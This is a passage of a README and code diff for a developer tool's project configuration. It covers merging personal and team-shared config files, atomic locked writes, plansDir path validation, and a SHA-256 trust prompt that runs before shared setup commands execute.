| `version`, `scheduledTasks` | `project-config.js` (scheduled-task runtime) | `/api/projects/:projectId/scheduled-tasks/*` |
|
||||
| `setup-worktree`, `setup-worktree-wait`, `projectActions`, `projectActionsPrimaryId`, `draftStarters`, `projectPath` | `project-setup.js` via `readProjectSetup` / `updateProjectSetup` on the same runtime | `GET/PUT /api/projects/:projectId/config` (`routes.js`) |
|
||||
|
||||
Notes, todos, and plans moved out of this file to `packages/web/server/lib/project-context`.
|
||||
|
||||
A second, optional source is the team's shared file, `<repo>/.openchamber/project.json`
|
||||
(`version: 1`; `setupWorktree`, `setupWorktreeWait`, `projectActions`, `draftStarters`,
|
||||
`plansDir`). The server reads it from the checkout the project id names
|
||||
(`projectPathFromId`). `GET /api/projects/:projectId/config`
|
||||
returns one merged view: what runs at the top level, plus `shared` and `personal`
|
||||
blocks so a page can edit the personal file without copying a teammate's entry into it.
|
||||
|
||||
| Field | Merge rule |
|
||||
|---|---|
|
||||
| `setupWorktree` | shared first, then personal; personal `setupWorktreeMode: "replace"` uses the personal list only |
|
||||
| `setupWorktreeWait` | personal when the personal file sets it, else shared, else `false` |
|
||||
| `projectActions` | union by `id`; a personal action replaces the shared one with the same id; ids in personal `hiddenSharedActionIds` are dropped; every entry carries `source` |
|
||||
| `projectActionsPrimaryId` | personal only |
|
||||
| `draftStarters` | union by `type:name`, shared first, every entry carries `source` |
|
||||
| `plansDir` | shared only |
|
||||
|
||||
A shared file that exists but cannot be parsed (or names a `plansDir` outside the
|
||||
repo) is `shared.status: "invalid"` with a `reason`; the personal setup is still
|
||||
served. It is never treated as "no shared setup".
|
||||
|
||||
### Writing the shared file
|
||||
|
||||
`PUT /api/projects/:projectId/config/shared` (`updateSharedProjectSetup`) is
|
||||
the only writer. The patch replaces the keys it names over the current file
|
||||
(a broken file counts as empty, so a write repairs it); the result is written
|
||||
pretty-printed with `version` first and only the keys that carry something
|
||||
(`serializeSharedProjectConfig`), because the file is committed and reviewed.
|
||||
A result with nothing in it removes the file and the `.openchamber` folder
|
||||
when that leaves it empty, so unsharing the last item leaves no trace. The
|
||||
write refuses a checkout that does not exist and a `plansDir` outside the
|
||||
repo. The writer has seen what it shared, so its personal trust record is set
|
||||
to the new hash; teammates still get the prompt. The shared UI composes
|
||||
"share" and "make personal" as a shared write followed by a personal write.
|
||||
|
||||
### Trust
|
||||
|
||||
Shared setup commands and shared actions run on the machine of whoever pulls
|
||||
the repo, so they run only after the user has seen them. The view carries
|
||||
`trust: { hash, trusted }`: `hash` is `sharedTrustHashOf(shared)`, a SHA-256
|
||||
over the executable parts (`setupWorktree` and each action's `id`, `command`,
|
||||
`runIn`, actions sorted by id; names and icons do not count), or `null` when
|
||||
nothing executes. `trusted` is true when nothing executes or the personal
|
||||
file's `sharedTrust.hash` equals the current hash, so a pull that changes a
|
||||
command brings the prompt back. The client records an answer with a PUT of
|
||||
`sharedTrustHash` (`null` forgets it). The prompt itself lives in the shared
|
||||
UI (`packages/ui/src/lib/sharedTrustConfirmation.ts`).
|
||||
|
||||
## Modules
|
||||
|
||||
- `project-id.js` — `createProjectIdFromPath` / `projectPathFromId`: the path-derived id (`path_<base64url>`) that names the file, and the checkout path back from it. The shared UI derives the same id (`packages/ui/src/lib/projectId.ts`); both sides must agree.
|
||||
- `project-config.js` — `createProjectConfigRuntime`: raw read, atomic write, the cross-process file lock (Electron and a CLI `serve` can share one projects dir), scheduled-task normalization, and the project-setup read/update.
|
||||
- `project-setup.js` — sanitizers, the shared-file parser (`parseSharedProjectConfig`, `normalizePlansDir`), the merge (`mergeProjectSetup`), and the personal view for the setup keys. Mirrored in the VS Code extension host (`packages/vscode/src/project-setup.ts`), which owns the same file when the webview has no OpenChamber server; keep the two in sync.
|
||||
- `routes.js` — the setup routes. `/api/projects` is on the JSON-body allowlist in `opencode/core-routes.js`.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **Every write is a locked read-modify-write of the whole document.** Keys the writer does not own, and keys from newer builds, come back out unchanged. A setup update and a scheduled-task update never clobber each other.
|
||||
- **A wrongly shaped key is a 400, not a silent drop.** `projectSetupPatchToStored` throws; the file is untouched. Values inside a well-shaped key are sanitized (trimmed, capped, deduplicated) rather than rejected.
|
||||
- **The client never composes the path.** `packages/ui/src/lib/openchamberConfig.ts` speaks only HTTP; the same code serves web, desktop, VS Code, and the phone, including a phone on a remote instance.
|
||||
- **`OPENCHAMBER_DATA_DIR` moves this directory too.** Every OpenChamber folder hangs off the one root; a custom root gets `projects/`, `themes/`, and `speech-models/` copied in from `~/.config/openchamber` once at startup (copied, not moved: a second instance beside the default one must not strip it) (`lib/data-dir-migration.js`). A scratch server started with its own data dir therefore never touches the real project configs.
|
||||
@@ -1,6 +1,21 @@
|
||||
import { DateTime, IANAZone } from 'luxon';
|
||||
import parser from 'cron-parser';
|
||||
|
||||
import { projectPathFromId } from './project-id.js';
|
||||
import {
|
||||
DEFAULT_PLANS_DIR,
|
||||
EMPTY_SHARED_PROJECT_CONFIG,
|
||||
SHARED_CONFIG_RELATIVE_PATH,
|
||||
applySharedProjectSetupPatch,
|
||||
isSharedProjectConfigEmpty,
|
||||
mergeProjectSetup,
|
||||
parseSharedProjectConfig,
|
||||
projectSetupPatchToStored,
|
||||
projectSetupViewOf,
|
||||
serializeSharedProjectConfig,
|
||||
sharedTrustHashOf,
|
||||
} from './project-setup.js';
|
||||
|
||||
const PROJECT_CONFIG_VERSION = 1;
|
||||
export const MAX_TASK_NAME_LENGTH = 80;
|
||||
const MAX_TASK_PROMPT_LENGTH = 20_000;
|
||||
@@ -548,21 +563,16 @@ export const createProjectConfigRuntime = (deps) => {
|
||||
})
|
||||
);
|
||||
|
||||
const writeProjectConfigToDisk = async (projectID, config) => {
|
||||
// Atomic whole-document write; callers hand in the merged document so the
|
||||
// keys they do not own survive untouched.
|
||||
const writeRawProjectConfigToDisk = async (projectID, document) => {
|
||||
const filePath = resolveProjectConfigPath(projectID);
|
||||
const parentDirectory = path.dirname(filePath);
|
||||
const temporaryPath = `${filePath}.tmp-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}`;
|
||||
|
||||
const existing = await readRawProjectConfigFromDisk(projectID);
|
||||
const merged = {
|
||||
...existing,
|
||||
version: PROJECT_CONFIG_VERSION,
|
||||
scheduledTasks: Array.isArray(config?.scheduledTasks) ? config.scheduledTasks : [],
|
||||
};
|
||||
|
||||
await fsPromises.mkdir(parentDirectory, { recursive: true });
|
||||
try {
|
||||
await fsPromises.writeFile(temporaryPath, JSON.stringify(merged, null, 2), 'utf8');
|
||||
await fsPromises.writeFile(temporaryPath, JSON.stringify(document, null, 2), 'utf8');
|
||||
await fsPromises.rename(temporaryPath, filePath);
|
||||
} catch (error) {
|
||||
await fsPromises.rm(temporaryPath, { force: true }).catch(() => {});
|
||||
@@ -570,6 +580,15 @@ export const createProjectConfigRuntime = (deps) => {
|
||||
}
|
||||
};
|
||||
|
||||
const writeProjectConfigToDisk = async (projectID, config) => {
|
||||
const existing = await readRawProjectConfigFromDisk(projectID);
|
||||
await writeRawProjectConfigToDisk(projectID, {
|
||||
...existing,
|
||||
version: PROJECT_CONFIG_VERSION,
|
||||
scheduledTasks: Array.isArray(config?.scheduledTasks) ? config.scheduledTasks : [],
|
||||
});
|
||||
};
|
||||
|
||||
const withProjectWriteLock = async (projectID, mutate) => {
|
||||
const key = sanitizeProjectID(projectID);
|
||||
const previous = writeLocks.get(key) || Promise.resolve();
|
||||
@@ -905,7 +924,121 @@ export const createProjectConfigRuntime = (deps) => {
|
||||
});
|
||||
};
|
||||
|
||||
// The client-owned part of the file (worktree setup, project actions, draft
|
||||
// starters); see `project-setup.js`. Reads are lock-free like task lists;
|
||||
// an update merges the sanitized patch over the raw document under the same
|
||||
// cross-process lock the task writers use, so neither side clobbers the other.
|
||||
// The shared file lives in the project's checkout. The checkout path comes
|
||||
// from the id itself (`path_<base64url>`), with the personal file's
|
||||
// `projectPath` as the fallback for ids of another form. A missing file is
|
||||
// the normal case; an unreadable or unparsable one is reported as invalid,
|
||||
// never as "no shared setup".
|
||||
const projectPathOf = (projectID, personalRaw) => (
|
||||
projectPathFromId(projectID) || (typeof personalRaw.projectPath === 'string' ? personalRaw.projectPath.trim() : '')
|
||||
);
|
||||
const sharedConfigPathOf = (projectPath) => path.join(projectPath, ...SHARED_CONFIG_RELATIVE_PATH.split('/'));
|
||||
|
||||
const readSharedProjectConfig = async (projectID, personalRaw) => {
|
||||
const projectPath = projectPathOf(projectID, personalRaw);
|
||||
if (!projectPath) return { status: 'missing' };
|
||||
let raw;
|
||||
try {
|
||||
raw = await fsPromises.readFile(sharedConfigPathOf(projectPath), 'utf8');
|
||||
} catch (error) {
|
||||
if (error && typeof error === 'object' && error.code === 'ENOENT') return { status: 'missing' };
|
||||
return { status: 'invalid', reason: error instanceof Error ? error.message : String(error) };
|
||||
}
|
||||
return parseSharedProjectConfig(raw);
|
||||
};
|
||||
|
||||
const mergedProjectSetupOf = async (projectID, personalRaw) => (
|
||||
mergeProjectSetup(projectSetupViewOf(personalRaw), await readSharedProjectConfig(projectID, personalRaw))
|
||||
);
|
||||
|
||||
const readProjectSetup = async (projectID) => mergedProjectSetupOf(projectID, await readRawProjectConfigFromDisk(projectID));
|
||||
|
||||
const updateProjectSetup = async (projectID, patch) => {
|
||||
const stored = projectSetupPatchToStored(patch);
|
||||
return withProjectWriteLock(projectID, async () => {
|
||||
const existing = await readRawProjectConfigFromDisk(projectID);
|
||||
const merged = { ...existing, ...stored };
|
||||
for (const [key, value] of Object.entries(stored)) {
|
||||
if (value === undefined) delete merged[key];
|
||||
}
|
||||
await writeRawProjectConfigToDisk(projectID, merged);
|
||||
return mergedProjectSetupOf(projectID, merged);
|
||||
});
|
||||
};
|
||||
|
||||
/**
|
||||
* Change the team's shared file in the checkout: the patch replaces the
|
||||
* keys it names over the current file (a broken file counts as empty, so
|
||||
* a write repairs it). A result with nothing in it removes the file (and
|
||||
* the `.openchamber` folder when that leaves it empty), so unsharing the
|
||||
* last item leaves no trace. The writer has seen the commands it just
|
||||
* shared, so the personal trust record is set to the new hash on this
|
||||
* instance; teammates still get the prompt.
|
||||
*/
|
||||
const updateSharedProjectSetup = async (projectID, patch) => (
|
||||
withProjectWriteLock(projectID, async () => {
|
||||
const personalRaw = await readRawProjectConfigFromDisk(projectID);
|
||||
const projectPath = projectPathOf(projectID, personalRaw);
|
||||
if (!projectPath) throw new Error('project checkout not found');
|
||||
try {
|
||||
if (!(await fsPromises.stat(projectPath)).isDirectory()) throw new Error('project checkout not found');
|
||||
} catch {
|
||||
throw new Error('project checkout not found');
|
||||
}
|
||||
const currentRead = await readSharedProjectConfig(projectID, personalRaw);
|
||||
const current = currentRead.status === 'ok' ? currentRead.config : EMPTY_SHARED_PROJECT_CONFIG;
|
||||
const next = applySharedProjectSetupPatch(current, patch);
|
||||
|
||||
const filePath = sharedConfigPathOf(projectPath);
|
||||
if (isSharedProjectConfigEmpty(next)) {
|
||||
await fsPromises.rm(filePath, { force: true });
|
||||
await fsPromises.rmdir(path.dirname(filePath)).catch(() => {});
|
||||
} else {
|
||||
await fsPromises.mkdir(path.dirname(filePath), { recursive: true });
|
||||
const temporaryPath = `${filePath}.tmp-${process.pid}-${Date.now()}`;
|
||||
try {
|
||||
await fsPromises.writeFile(temporaryPath, serializeSharedProjectConfig(next), 'utf8');
|
||||
await fsPromises.rename(temporaryPath, filePath);
|
||||
} catch (error) {
|
||||
await fsPromises.rm(temporaryPath, { force: true }).catch(() => {});
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
const hash = sharedTrustHashOf(next);
|
||||
const personalNext = { ...personalRaw };
|
||||
if (hash) personalNext.sharedTrust = { hash, trustedAt: Date.now() };
|
||||
else delete personalNext.sharedTrust;
|
||||
await writeRawProjectConfigToDisk(projectID, personalNext);
|
||||
return mergedProjectSetupOf(projectID, personalNext);
|
||||
})
|
||||
);
|
||||
|
||||
/**
|
||||
* The absolute repository plans folder of a project: `plansDir` from the
|
||||
* shared file when set, else the default `.openchamber/plans`. Setting
|
||||
* `plansDir` replaces the default outright (nothing is read from it any
|
||||
* more); moving files between the two is the user's job. Null only when the
|
||||
* checkout cannot be located.
|
||||
*/
|
||||
const resolveSharedPlansDir = async (projectID) => {
|
||||
const personalRaw = await readRawProjectConfigFromDisk(projectID);
|
||||
const projectPath = projectPathOf(projectID, personalRaw);
|
||||
if (!projectPath) return null;
|
||||
const shared = await readSharedProjectConfig(projectID, personalRaw);
|
||||
const relative = shared.status === 'ok' && shared.config.plansDir ? shared.config.plansDir : DEFAULT_PLANS_DIR;
|
||||
return path.join(projectPath, ...relative.split('/'));
|
||||
};
|
||||
|
||||
return {
|
||||
readProjectSetup,
|
||||
updateProjectSetup,
|
||||
updateSharedProjectSetup,
|
||||
resolveSharedPlansDir,
|
||||
listScheduledTasks,
|
||||
upsertScheduledTask,
|
||||
deleteScheduledTask,
|
||||
|
||||
@@ -11,3 +11,20 @@ export const createProjectIdFromPath = (projectPath) => {
|
||||
|
||||
return `path_${Buffer.from(normalized, 'utf8').toString('base64url')}`;
|
||||
};
|
||||
|
||||
/**
|
||||
* The path a `path_<base64url>` id was made from, or `''` when the id is not
|
||||
* of that form. The projects dir names files by this id, so the server can
|
||||
* find the project's checkout (and the shared config inside it) from the id
|
||||
* alone.
|
||||
*/
|
||||
export const projectPathFromId = (projectId) => {
|
||||
if (typeof projectId !== 'string' || !projectId.startsWith('path_')) return '';
|
||||
const encoded = projectId.slice('path_'.length);
|
||||
if (!encoded || !/^[A-Za-z0-9_-]+$/.test(encoded)) return '';
|
||||
try {
|
||||
return Buffer.from(encoded, 'base64url').toString('utf8');
|
||||
} catch {
|
||||
return '';
|
||||
}
|
||||
};
|
||||
|
||||
@@ -0,0 +1,409 @@
|
||||
// A project's setup — worktree setup commands, project actions, pinned draft
|
||||
// starters — comes from two files:
|
||||
//
|
||||
// - the personal file `~/.config/openchamber/projects/<projectId>.json`
|
||||
// (client-owned keys; server-owned `version` / `scheduledTasks` live beside
|
||||
// them and are never touched here), and
|
||||
// - the shared file `<repo>/.openchamber/project.json`, committed by a team so
|
||||
// a teammate who pulls the code gets the setup without configuring anything.
|
||||
//
|
||||
// This module knows both shapes and the one merge rule per field. The route
|
||||
// and the VS Code bridge (`packages/vscode/src/project-setup.ts`, a mirror of
|
||||
// this file) use the same code paths so a value reads back the same on every
|
||||
// surface.
|
||||
|
||||
import crypto from 'node:crypto';
|
||||
|
||||
const ACTION_NAME_MAX_LENGTH = 80;
|
||||
const ACTION_COMMAND_MAX_LENGTH = 4000;
|
||||
const ACTION_OPEN_URL_MAX_LENGTH = 2000;
|
||||
const ACTION_DESKTOP_FORWARD_MAX_LENGTH = 300;
|
||||
const SETUP_COMMAND_MAX_LENGTH = 4000;
|
||||
const SETUP_COMMANDS_MAX = 50;
|
||||
|
||||
const ACTION_PLATFORMS = new Set(['macos', 'linux', 'windows']);
|
||||
const SETUP_WORKTREE_MODES = new Set(['append', 'replace']);
|
||||
|
||||
const isObjectRecord = (value) => Boolean(value) && typeof value === 'object' && !Array.isArray(value);
|
||||
|
||||
const clamp = (value, maxLength) => (value.length > maxLength ? value.slice(0, maxLength) : value);
|
||||
|
||||
const trimmedString = (value) => (typeof value === 'string' ? value.trim() : '');
|
||||
|
||||
/** Setup commands: non-empty trimmed strings, capped in count and length. */
|
||||
export const sanitizeSetupCommands = (value) => {
|
||||
if (!Array.isArray(value)) return [];
|
||||
const commands = [];
|
||||
for (const entry of value) {
|
||||
const command = clamp(trimmedString(entry), SETUP_COMMAND_MAX_LENGTH);
|
||||
if (!command) continue;
|
||||
commands.push(command);
|
||||
if (commands.length >= SETUP_COMMANDS_MAX) break;
|
||||
}
|
||||
return commands;
|
||||
};
|
||||
|
||||
const sanitizeActionPlatforms = (value) => {
|
||||
if (!Array.isArray(value)) return [];
|
||||
const platforms = [];
|
||||
for (const entry of value) {
|
||||
const platform = trimmedString(entry).toLowerCase();
|
||||
if (ACTION_PLATFORMS.has(platform) && !platforms.includes(platform)) platforms.push(platform);
|
||||
}
|
||||
return platforms;
|
||||
};
|
||||
|
||||
/**
|
||||
* Project actions: `id`, `name`, and `command` are required and ids are
|
||||
* unique; every optional field is dropped when empty so the stored record
|
||||
* carries only what the user set. `runIn` keeps only the one value the UI
|
||||
* understands (`parent`); anything else means "run in the worktree".
|
||||
*/
|
||||
export const sanitizeProjectActions = (value) => {
|
||||
if (!Array.isArray(value)) return [];
|
||||
const actions = [];
|
||||
const seenIds = new Set();
|
||||
for (const entry of value) {
|
||||
if (!isObjectRecord(entry)) continue;
|
||||
const id = trimmedString(entry.id);
|
||||
const name = clamp(trimmedString(entry.name), ACTION_NAME_MAX_LENGTH);
|
||||
const command = clamp(trimmedString(entry.command), ACTION_COMMAND_MAX_LENGTH);
|
||||
if (!id || !name || !command || seenIds.has(id)) continue;
|
||||
seenIds.add(id);
|
||||
|
||||
const icon = trimmedString(entry.icon);
|
||||
const platforms = sanitizeActionPlatforms(entry.platforms);
|
||||
const openUrl = clamp(trimmedString(entry.openUrl), ACTION_OPEN_URL_MAX_LENGTH);
|
||||
const desktopOpenSshForward = clamp(trimmedString(entry.desktopOpenSshForward), ACTION_DESKTOP_FORWARD_MAX_LENGTH);
|
||||
|
||||
const action = { id, name, command, icon: icon || null };
|
||||
if (entry.autoOpenUrl === true) action.autoOpenUrl = true;
|
||||
if (openUrl) action.openUrl = openUrl;
|
||||
if (desktopOpenSshForward) action.desktopOpenSshForward = desktopOpenSshForward;
|
||||
if (platforms.length > 0) action.platforms = platforms;
|
||||
if (entry.runIn === 'parent') action.runIn = 'parent';
|
||||
actions.push(action);
|
||||
}
|
||||
return actions;
|
||||
};
|
||||
|
||||
/** Draft starters: `{ type: 'command' | 'skill', name }`, unique by `type:name`. */
|
||||
export const sanitizeDraftStarters = (value) => {
|
||||
if (!Array.isArray(value)) return [];
|
||||
const starters = [];
|
||||
const seen = new Set();
|
||||
for (const entry of value) {
|
||||
if (!isObjectRecord(entry)) continue;
|
||||
const type = entry.type === 'command' || entry.type === 'skill' ? entry.type : null;
|
||||
const name = trimmedString(entry.name);
|
||||
if (!type || !name) continue;
|
||||
const key = `${type}:${name}`;
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
starters.push({ type, name });
|
||||
}
|
||||
return starters;
|
||||
};
|
||||
|
||||
/**
|
||||
* The client-facing view of a raw config document. A primary action id that
|
||||
* names no action is reported as `null`.
|
||||
*/
|
||||
const sanitizeIdList = (value) => {
|
||||
if (!Array.isArray(value)) return [];
|
||||
const ids = [];
|
||||
for (const entry of value) {
|
||||
const id = trimmedString(entry);
|
||||
if (id && !ids.includes(id)) ids.push(id);
|
||||
}
|
||||
return ids;
|
||||
};
|
||||
|
||||
/**
|
||||
* The personal part of the view, straight from the personal file. The wait
|
||||
* flag is `null` when the file does not set it, so the merge can let a
|
||||
* shared value through; `hiddenSharedActionIds` and `setupWorktreeMode` only
|
||||
* matter when a shared file exists.
|
||||
*/
|
||||
export const projectSetupViewOf = (raw) => {
|
||||
const document = isObjectRecord(raw) ? raw : {};
|
||||
const projectActions = sanitizeProjectActions(document.projectActions);
|
||||
const primaryRaw = trimmedString(document.projectActionsPrimaryId);
|
||||
return {
|
||||
setupWorktree: sanitizeSetupCommands(document['setup-worktree']),
|
||||
setupWorktreeWait: typeof document['setup-worktree-wait'] === 'boolean' ? document['setup-worktree-wait'] : null,
|
||||
setupWorktreeMode: SETUP_WORKTREE_MODES.has(document.setupWorktreeMode) ? document.setupWorktreeMode : 'append',
|
||||
projectActions,
|
||||
projectActionsPrimaryId: primaryRaw && projectActions.some((action) => action.id === primaryRaw) ? primaryRaw : null,
|
||||
draftStarters: sanitizeDraftStarters(document.draftStarters),
|
||||
hiddenSharedActionIds: sanitizeIdList(document.hiddenSharedActionIds),
|
||||
sharedTrust: sharedTrustOf(document.sharedTrust),
|
||||
};
|
||||
};
|
||||
|
||||
/** The recorded answer to the trust prompt: which shared commands were trusted, and when. */
|
||||
const sharedTrustOf = (value) => {
|
||||
if (!isObjectRecord(value)) return null;
|
||||
const hash = trimmedString(value.hash);
|
||||
if (!hash) return null;
|
||||
return { hash, trustedAt: Number.isFinite(value.trustedAt) ? value.trustedAt : 0 };
|
||||
};
|
||||
|
||||
/**
|
||||
* Turn a client patch (view keys) into the on-disk keys it changes. Only the
|
||||
* keys present in the patch are returned, so a caller can merge the result
|
||||
* over the raw document without clearing what the patch did not mention.
|
||||
* A key with the wrong shape is a validation error, never silently dropped.
|
||||
*/
|
||||
export const projectSetupPatchToStored = (patch) => {
|
||||
if (!isObjectRecord(patch)) {
|
||||
throw new Error('patch must be an object');
|
||||
}
|
||||
const stored = {};
|
||||
if ('setupWorktree' in patch) {
|
||||
if (!Array.isArray(patch.setupWorktree)) throw new Error('setupWorktree must be an array of commands');
|
||||
stored['setup-worktree'] = sanitizeSetupCommands(patch.setupWorktree);
|
||||
}
|
||||
if ('setupWorktreeWait' in patch) {
|
||||
if (typeof patch.setupWorktreeWait !== 'boolean') throw new Error('setupWorktreeWait must be a boolean');
|
||||
stored['setup-worktree-wait'] = patch.setupWorktreeWait;
|
||||
}
|
||||
if ('projectActions' in patch) {
|
||||
if (!Array.isArray(patch.projectActions)) throw new Error('projectActions must be an array');
|
||||
stored.projectActions = sanitizeProjectActions(patch.projectActions);
|
||||
}
|
||||
if ('projectActionsPrimaryId' in patch) {
|
||||
const primary = patch.projectActionsPrimaryId;
|
||||
if (primary !== null && typeof primary !== 'string') throw new Error('projectActionsPrimaryId must be a string or null');
|
||||
stored.projectActionsPrimaryId = trimmedString(primary) || undefined;
|
||||
}
|
||||
if ('draftStarters' in patch) {
|
||||
if (!Array.isArray(patch.draftStarters)) throw new Error('draftStarters must be an array');
|
||||
stored.draftStarters = sanitizeDraftStarters(patch.draftStarters);
|
||||
}
|
||||
if ('hiddenSharedActionIds' in patch) {
|
||||
if (!Array.isArray(patch.hiddenSharedActionIds)) throw new Error('hiddenSharedActionIds must be an array');
|
||||
stored.hiddenSharedActionIds = sanitizeIdList(patch.hiddenSharedActionIds);
|
||||
}
|
||||
if ('setupWorktreeMode' in patch) {
|
||||
if (!SETUP_WORKTREE_MODES.has(patch.setupWorktreeMode)) throw new Error('setupWorktreeMode must be "append" or "replace"');
|
||||
stored.setupWorktreeMode = patch.setupWorktreeMode;
|
||||
}
|
||||
if ('sharedTrustHash' in patch) {
|
||||
const hash = patch.sharedTrustHash;
|
||||
if (hash !== null && (typeof hash !== 'string' || !hash.trim())) throw new Error('sharedTrustHash must be a non-empty string or null');
|
||||
stored.sharedTrust = hash === null ? undefined : { hash: hash.trim(), trustedAt: Date.now() };
|
||||
}
|
||||
if ('projectPath' in patch) {
|
||||
if (typeof patch.projectPath !== 'string') throw new Error('projectPath must be a string');
|
||||
const projectPath = patch.projectPath.trim();
|
||||
if (projectPath) stored.projectPath = projectPath;
|
||||
}
|
||||
return stored;
|
||||
};
|
||||
|
||||
// ── Shared file ──
|
||||
|
||||
export const SHARED_CONFIG_RELATIVE_PATH = '.openchamber/project.json';
|
||||
/** Where repository plans live unless the shared file's `plansDir` says otherwise. */
|
||||
export const DEFAULT_PLANS_DIR = '.openchamber/plans';
|
||||
const SHARED_CONFIG_VERSION = 1;
|
||||
|
||||
/**
|
||||
* A `plansDir` is a relative path inside the repo: no absolute paths, no
|
||||
* drive letters, no `..` segments, forward slashes. Returns the normalized
|
||||
* value or `null` when the value is not acceptable.
|
||||
*/
|
||||
export const normalizePlansDir = (value) => {
|
||||
const raw = trimmedString(value).replace(/\\/g, '/');
|
||||
if (!raw) return null;
|
||||
if (raw.startsWith('/') || /^[A-Za-z]:/.test(raw)) return null;
|
||||
const segments = raw.split('/').filter((segment) => segment.length > 0 && segment !== '.');
|
||||
if (segments.length === 0 || segments.some((segment) => segment === '..')) return null;
|
||||
return segments.join('/');
|
||||
};
|
||||
|
||||
const EMPTY_SHARED = Object.freeze({
|
||||
setupWorktree: [],
|
||||
setupWorktreeWait: null,
|
||||
projectActions: [],
|
||||
draftStarters: [],
|
||||
plansDir: null,
|
||||
});
|
||||
|
||||
/**
|
||||
* Parse the text of a shared file. Anything that is not a version-1 object
|
||||
* is `invalid` with a reason (never an empty config: a teammate must see that
|
||||
* the file is broken, not that the project has no shared setup). A `plansDir`
|
||||
* that points outside the repo is invalid for the same reason.
|
||||
*/
|
||||
export const parseSharedProjectConfig = (raw) => {
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(raw);
|
||||
} catch (error) {
|
||||
return { status: 'invalid', reason: `invalid JSON: ${error instanceof Error ? error.message : String(error)}` };
|
||||
}
|
||||
if (!isObjectRecord(parsed)) return { status: 'invalid', reason: 'not an object' };
|
||||
if (parsed.version !== SHARED_CONFIG_VERSION) return { status: 'invalid', reason: `unsupported version ${JSON.stringify(parsed.version)}` };
|
||||
if ('setupWorktree' in parsed && !Array.isArray(parsed.setupWorktree)) return { status: 'invalid', reason: 'setupWorktree must be an array' };
|
||||
if ('setupWorktreeWait' in parsed && typeof parsed.setupWorktreeWait !== 'boolean') return { status: 'invalid', reason: 'setupWorktreeWait must be a boolean' };
|
||||
if ('projectActions' in parsed && !Array.isArray(parsed.projectActions)) return { status: 'invalid', reason: 'projectActions must be an array' };
|
||||
if ('draftStarters' in parsed && !Array.isArray(parsed.draftStarters)) return { status: 'invalid', reason: 'draftStarters must be an array' };
|
||||
let plansDir = null;
|
||||
if ('plansDir' in parsed && parsed.plansDir !== null) {
|
||||
plansDir = normalizePlansDir(parsed.plansDir);
|
||||
if (!plansDir) return { status: 'invalid', reason: 'plansDir must be a relative path inside the repository' };
|
||||
}
|
||||
return {
|
||||
status: 'ok',
|
||||
config: {
|
||||
setupWorktree: sanitizeSetupCommands(parsed.setupWorktree),
|
||||
setupWorktreeWait: typeof parsed.setupWorktreeWait === 'boolean' ? parsed.setupWorktreeWait : null,
|
||||
projectActions: sanitizeProjectActions(parsed.projectActions),
|
||||
draftStarters: sanitizeDraftStarters(parsed.draftStarters),
|
||||
plansDir,
|
||||
},
|
||||
};
|
||||
};
|
||||
|
||||
const withSource = (entries, source) => entries.map((entry) => ({ ...entry, source }));
|
||||
|
||||
/**
|
||||
* What a trust answer covers: the shared setup commands and the shared
|
||||
* actions' commands, in a canonical order, hashed. A pull that changes any
|
||||
* of them changes the hash, so the prompt returns for the new commands.
|
||||
* `null` when the shared config has nothing that executes.
|
||||
*/
|
||||
export const sharedTrustHashOf = (shared) => {
|
||||
const commands = shared.setupWorktree;
|
||||
const actions = shared.projectActions
|
||||
.map((action) => {
|
||||
const executable = { id: action.id, command: action.command };
|
||||
if (action.runIn) executable.runIn = action.runIn;
|
||||
return executable;
|
||||
})
|
||||
.sort((left, right) => (left.id < right.id ? -1 : left.id > right.id ? 1 : 0));
|
||||
if (commands.length === 0 && actions.length === 0) return null;
|
||||
const digest = crypto.createHash('sha256').update(JSON.stringify({ setupWorktree: commands, projectActions: actions })).digest('hex');
|
||||
return `sha256:${digest}`;
|
||||
};
|
||||
|
||||
/**
|
||||
* One merged view from the personal view and the shared read. Rules:
|
||||
* - setup commands: shared first, then personal; personal `setupWorktreeMode`
|
||||
* `replace` uses only the personal list;
|
||||
* - wait flag: personal when the personal file sets it, else shared, else off;
|
||||
* - actions: union by id, a personal action replaces the shared one with the
|
||||
* same id, hidden shared ids are dropped, primary is personal only;
|
||||
* - draft starters: union by `type:name`, shared first.
|
||||
* Every merged action and starter carries `source`. The `shared` and
|
||||
* `personal` blocks are returned too so a page can edit one without guessing
|
||||
* which entries came from where.
|
||||
*/
|
||||
export const mergeProjectSetup = (personal, sharedRead) => {
|
||||
const shared = sharedRead.status === 'ok' ? sharedRead.config : EMPTY_SHARED;
|
||||
const hidden = new Set(personal.hiddenSharedActionIds);
|
||||
const personalIds = new Set(personal.projectActions.map((action) => action.id));
|
||||
const sharedActions = shared.projectActions.filter((action) => !hidden.has(action.id) && !personalIds.has(action.id));
|
||||
const starterKeys = new Set(shared.draftStarters.map((starter) => `${starter.type}:${starter.name}`));
|
||||
const personalStarters = personal.draftStarters.filter((starter) => !starterKeys.has(`${starter.type}:${starter.name}`));
|
||||
const trustHash = sharedTrustHashOf(shared);
|
||||
return {
|
||||
// Nothing executable in the shared file means nothing to trust; otherwise
|
||||
// the recorded answer must match the current commands exactly.
|
||||
trust: { hash: trustHash, trusted: trustHash === null || personal.sharedTrust?.hash === trustHash },
|
||||
setupWorktree: personal.setupWorktreeMode === 'replace'
|
||||
? personal.setupWorktree
|
||||
: [...shared.setupWorktree, ...personal.setupWorktree],
|
||||
setupWorktreeWait: personal.setupWorktreeWait !== null
|
||||
? personal.setupWorktreeWait
|
||||
: shared.setupWorktreeWait === true,
|
||||
projectActions: [...withSource(sharedActions, 'shared'), ...withSource(personal.projectActions, 'personal')],
|
||||
projectActionsPrimaryId: personal.projectActionsPrimaryId,
|
||||
draftStarters: [...withSource(shared.draftStarters, 'shared'), ...withSource(personalStarters, 'personal')],
|
||||
shared: sharedBlockOf(sharedRead, shared),
|
||||
personal,
|
||||
};
|
||||
};
|
||||
|
||||
const sharedBlockOf = (sharedRead, shared) => {
|
||||
const block = { status: sharedRead.status, path: SHARED_CONFIG_RELATIVE_PATH, ...shared };
|
||||
if (sharedRead.status === 'invalid') block.reason = sharedRead.reason;
|
||||
return block;
|
||||
};
|
||||
|
||||
/** An action without an icon is written without the key; readers fall back to the play icon. */
|
||||
const withoutEmptyIcon = (action) => {
|
||||
if (action.icon !== null) return action;
|
||||
const { icon: _emptyIcon, ...rest } = action;
|
||||
return rest;
|
||||
};
|
||||
|
||||
/** True when the shared config carries nothing: the file should not exist. */
|
||||
